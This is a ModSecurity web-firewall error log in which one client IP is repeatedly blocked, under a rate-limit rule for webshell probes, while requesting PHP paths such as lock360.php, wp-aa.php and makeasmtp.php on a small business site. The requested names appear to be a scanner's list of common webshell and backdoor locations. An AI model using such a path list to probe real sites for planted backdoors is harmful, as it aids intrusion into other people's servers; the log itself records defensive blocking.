[Thu Dec 25 21:39:47.481685 2025] [:error] [pid 22045:tid 22106] [client 4.193.224.251:16849] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aU0-o6sGGmXjDnvlmHtkCwAAAUQ"]
[Thu Dec 25 21:39:48.098294 2025] [:error] [pid 22045:tid 22108] [client 4.193.224.251:16782] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aU0-pKsGGmXjDnvlmHtkDAAAAUY"]
[Thu Dec 25 21:39:48.586656 2025] [:error] [pid 27869:tid 27874] [client 4.193.224.251:11230] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aU0-pBNK7_n86kBD7qfMPgAAAIM"]
[Thu Dec 25 21:39:49.376051 2025] [:error] [pid 22043:tid 22063] [client 4.193.224.251:16814] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aU0-pT4YVtlb2Iz_QE5IZgAAAA8"]
[Thu Dec 25 21:39:49.893228 2025] [:error] [pid 22044:tid 22086] [client 4.193.224.251:16821] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aU0-pXPTC5rQKTB0FQ-SRAAAAMs"]
[Thu Dec 25 21:39:50.506239 2025] [:error] [pid 22043:tid 22072] [client 4.193.224.251:11215] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aU0-pj4YVtlb2Iz_QE5IawAAABg"]
[Thu Dec 25 21:39:51.697219 2025] [:error] [pid 22045:tid 22119] [client 4.193.224.251:16866] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aU0-p6sGGmXjDnvlmHtkEAAAAVE"]
[Thu Dec 25 21:39:52.529607 2025] [:error] [pid 22045:tid 22109] [client 4.193.224.251:16786] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aU0-qKsGGmXjDnvlmHtkEgAAAUc"]
[Thu Dec 25 21:39:53.208425 2025] [:error] [pid 22131:tid 22148] [client 4.193.224.251:16843] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aU0-qZvVMtSTB4lX2fYrZAAAAE0"]
[Thu Dec 25 21:39:54.017296 2025] [:error] [pid 22131:tid 22155] [client 4.193.224.251:11154] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aU0-qpvVMtSTB4lX2fYraAAAAFM"]
[Thu Dec 25 21:39:54.472887 2025] [:error] [pid 22131:tid 22159] [client 4.193.224.251:16841] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aU0-qpvVMtSTB4lX2fYraQAAAFc"]
[Thu Dec 25 21:39:55.043017 2025] [:error] [pid 22045:tid 22112] [client 4.193.224.251:16831] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aU0-q6sGGmXjDnvlmHtkGQAAAUo"]
[Thu Dec 25 21:39:55.991237 2025] [:error] [pid 22043:tid 22063] [client 4.193.224.251:16824] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aU0-qz4YVtlb2Iz_QE5IdgAAAA8"]
[Thu Dec 25 21:39:56.607496 2025] [:error] [pid 22044:tid 22085] [client 4.193.224.251:11171] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aU0-rHPTC5rQKTB0FQ-SXAAAAMo"]
[Thu Dec 25 21:39:57.655662 2025] [:error] [pid 27869:tid 27887] [client 4.193.224.251:16861] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aU0-rRNK7_n86kBD7qfMUQAAAJA"]
[Thu Dec 25 21:39:58.472729 2025] [:error] [pid 22043:tid 22057] [client 4.193.224.251:16791] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aU0-rj4YVtlb2Iz_QE5IeAAAAAk"]
[Thu Dec 25 21:39:59.947209 2025] [:error] [pid 22044:tid 22075] [client 4.193.224.251:11229] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aU0-r3PTC5rQKTB0FQ-SZwAAAMA"]
[Thu Dec 25 21:40:01.157402 2025] [:error] [pid 27869:tid 27880] [client 4.193.224.251:16811] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU0-sRNK7_n86kBD7qfMXAAAAIk"]
[Thu Dec 25 21:40:02.657729 2025] [:error] [pid 22044:tid 22081] [client 4.193.224.251:16772] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU0-snPTC5rQKTB0FQ-SbwAAAMY"]
[Thu Dec 25 21:40:03.804849 2025] [:error] [pid 22044:tid 22099] [client 4.193.224.251:16877] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU0-s3PTC5rQKTB0FQ-SdQAAANg"]
[Thu Dec 25 21:40:04.453860 2025] [:error] [pid 22044:tid 22076] [client 4.193.224.251:16819] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU0-tHPTC5rQKTB0FQ-SdwAAAME"]
[Thu Dec 25 21:40:05.147864 2025] [:error] [pid 27869:tid 27876] [client 4.193.224.251:11217] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aU0-tRNK7_n86kBD7qfMaQAAAIU"]
[Thu Dec 25 21:40:06.067441 2025] [:error] [pid 22043:tid 22059] [client 4.193.224.251:11166] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aU0-tj4YVtlb2Iz_QE5IjAAAAAs"]
[Thu Dec 25 21:40:07.626311 2025] [:error] [pid 27869:tid 27889] [client 4.193.224.251:16876] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aU0-txNK7_n86kBD7qfMdQAAAJI"]
[Thu Dec 25 21:40:08.504007 2025] [:error] [pid 22131:tid 22141] [client 4.193.224.251:16769] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aU0-uJvVMtSTB4lX2fYrfwAAAEc"]
[Thu Dec 25 21:40:09.329291 2025] [:error] [pid 22131:tid 22142] [client 4.193.224.251:16894] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aU0-uZvVMtSTB4lX2fYrgwAAAEg"]
[Thu Dec 25 21:40:11.265090 2025] [:error] [pid 22044:tid 22088] [client 4.193.224.251:11255] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aU0-u3PTC5rQKTB0FQ-SjAAAAM0"]
[Thu Dec 25 21:40:14.192113 2025] [:error] [pid 27869:tid 27889] [client 4.193.224.251:11263] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aU0-vhNK7_n86kBD7qfMjwAAAJI"]
[Thu Dec 25 21:40:14.743386 2025] [:error] [pid 22131:tid 22156] [client 4.193.224.251:16878] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aU0-vpvVMtSTB4lX2fYrlAAAAFQ"]
[Thu Dec 25 21:40:16.178610 2025] [:error] [pid 22131:tid 22140] [client 4.193.224.251:11204] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uana.php"] [unique_id "aU0-wJvVMtSTB4lX2fYrmwAAAEY"]
[Thu Dec 25 21:40:17.669698 2025] [:error] [pid 22045:tid 22125] [client 4.193.224.251:16882] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uana.php"] [unique_id "aU0-wasGGmXjDnvlmHtkSQAAAVc"]
[Thu Dec 25 21:40:18.299204 2025] [:error] [pid 22044:tid 22094] [client 4.193.224.251:16875] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uana.php"] [unique_id "aU0-wnPTC5rQKTB0FQ-SmQAAANM"]
[Thu Dec 25 21:40:18.946157 2025] [:error] [pid 22131:tid 22139] [client 4.193.224.251:11252] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uana.php"] [unique_id "aU0-wpvVMtSTB4lX2fYrowAAAEU"]
[Thu Dec 25 21:40:20.126225 2025] [:error] [pid 22043:tid 22055] [client 4.193.224.251:16803] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aU0-xD4YVtlb2Iz_QE5IoAAAAAc"]
[Thu Dec 25 21:40:20.985762 2025] [:error] [pid 22131:tid 22155] [client 4.193.224.251:16879] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aU0-xJvVMtSTB4lX2fYrqAAAAFM"]
[Thu Dec 25 21:40:21.740865 2025] [:error] [pid 22043:tid 22062] [client 4.193.224.251:11228] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aU0-xT4YVtlb2Iz_QE5IqAAAAA4"]
[Thu Dec 25 21:40:22.720222 2025] [:error] [pid 22043:tid 22052] [client 4.193.224.251:11213] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aU0-xj4YVtlb2Iz_QE5IvgAAAAQ"]
[Thu Dec 25 21:40:23.647197 2025] [:error] [pid 22131:tid 22135] [client 4.193.224.251:11242] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aU0-x5vVMtSTB4lX2fYruAAAAEI"]
[Thu Dec 25 21:40:24.388527 2025] [:error] [pid 22043:tid 22070] [client 4.193.224.251:16846] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aU0-yD4YVtlb2Iz_QE5I0wAAABY"]
[Thu Dec 25 21:40:25.468542 2025] [:error] [pid 22131:tid 22158] [client 4.193.224.251:11157] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aU0-yZvVMtSTB4lX2fYrwAAAAFY"]
[Thu Dec 25 21:40:26.641690 2025] [:error] [pid 22131:tid 22142] [client 4.193.224.251:11151] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aU0-ypvVMtSTB4lX2fYrwwAAAEg"]
[Thu Dec 25 21:40:27.626975 2025] [:error] [pid 27869:tid 27871] [client 4.193.224.251:16845] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api.php"] [unique_id "aU0-yxNK7_n86kBD7qfMsAAAAIA"]
[Thu Dec 25 21:40:37.007664 2025] [:error] [pid 22131:tid 22160] [client 4.193.224.251:16815] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aa.php"] [unique_id "aU0-1ZvVMtSTB4lX2fYr3gAAAFg"]
[Thu Dec 25 21:40:38.838286 2025] [:error] [pid 22043:tid 22051] [client 4.193.224.251:11223] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aa.php"] [unique_id "aU0-1j4YVtlb2Iz_QE5I6QAAAAM"]
[Thu Dec 25 21:40:40.743879 2025] [:error] [pid 22043:tid 22056] [client 4.193.224.251:11245] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aa.php"] [unique_id "aU0-2D4YVtlb2Iz_QE5I7AAAAAg"]
[Thu Dec 25 21:40:42.507733 2025] [:error] [pid 22044:tid 22077] [client 4.193.224.251:11222] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aa.php"] [unique_id "aU0-2nPTC5rQKTB0FQ-TDAAAAMI"]
[Thu Dec 25 21:40:43.396823 2025] [:error] [pid 22044:tid 22076] [client 4.193.224.251:11177] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cart.php"] [unique_id "aU0-23PTC5rQKTB0FQ-TDwAAAME"]
[Thu Dec 25 21:40:43.971311 2025] [:error] [pid 22131:tid 22143] [client 4.193.224.251:11256] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cart.php"] [unique_id "aU0-25vVMtSTB4lX2fYr5QAAAEk"]
[Thu Dec 25 21:40:45.303472 2025] [:error] [pid 22045:tid 22103] [client 4.193.224.251:16781] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cart.php"] [unique_id "aU0-3asGGmXjDnvlmHtkhwAAAUE"]
[Thu Dec 25 21:40:45.962352 2025] [:error] [pid 22045:tid 22114] [client 4.193.224.251:16795] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cart.php"] [unique_id "aU0-3asGGmXjDnvlmHtkiwAAAUw"]
[Thu Dec 25 21:40:46.616915 2025] [:error] [pid 27869:tid 27888] [client 4.193.224.251:16884] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/compare.php"] [unique_id "aU0-3hNK7_n86kBD7qfM9QAAAJE"]
[Thu Dec 25 21:40:47.168187 2025] [:error] [pid 22043:tid 22049] [client 4.193.224.251:11234] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/compare.php"] [unique_id "aU0-3z4YVtlb2Iz_QE5I9gAAAAE"]
[Thu Dec 25 21:40:47.953860 2025] [:error] [pid 27869:tid 27875] [client 4.193.224.251:16804] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/compare.php"] [unique_id "aU0-3xNK7_n86kBD7qfM-AAAAIQ"]
[Thu Dec 25 21:40:48.782923 2025] [:error] [pid 22043:tid 22066] [client 4.193.224.251:16783] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/compare.php"] [unique_id "aU0-4D4YVtlb2Iz_QE5I-wAAABI"]
[Thu Dec 25 21:40:49.604379 2025] [:error] [pid 27869:tid 27879] [client 4.193.224.251:16827] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aU0-4RNK7_n86kBD7qfM-wAAAIg"]
[Thu Dec 25 21:40:50.352566 2025] [:error] [pid 22044:tid 22090] [client 4.193.224.251:11236] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aU0-4nPTC5rQKTB0FQ-TEAAAAM8"]
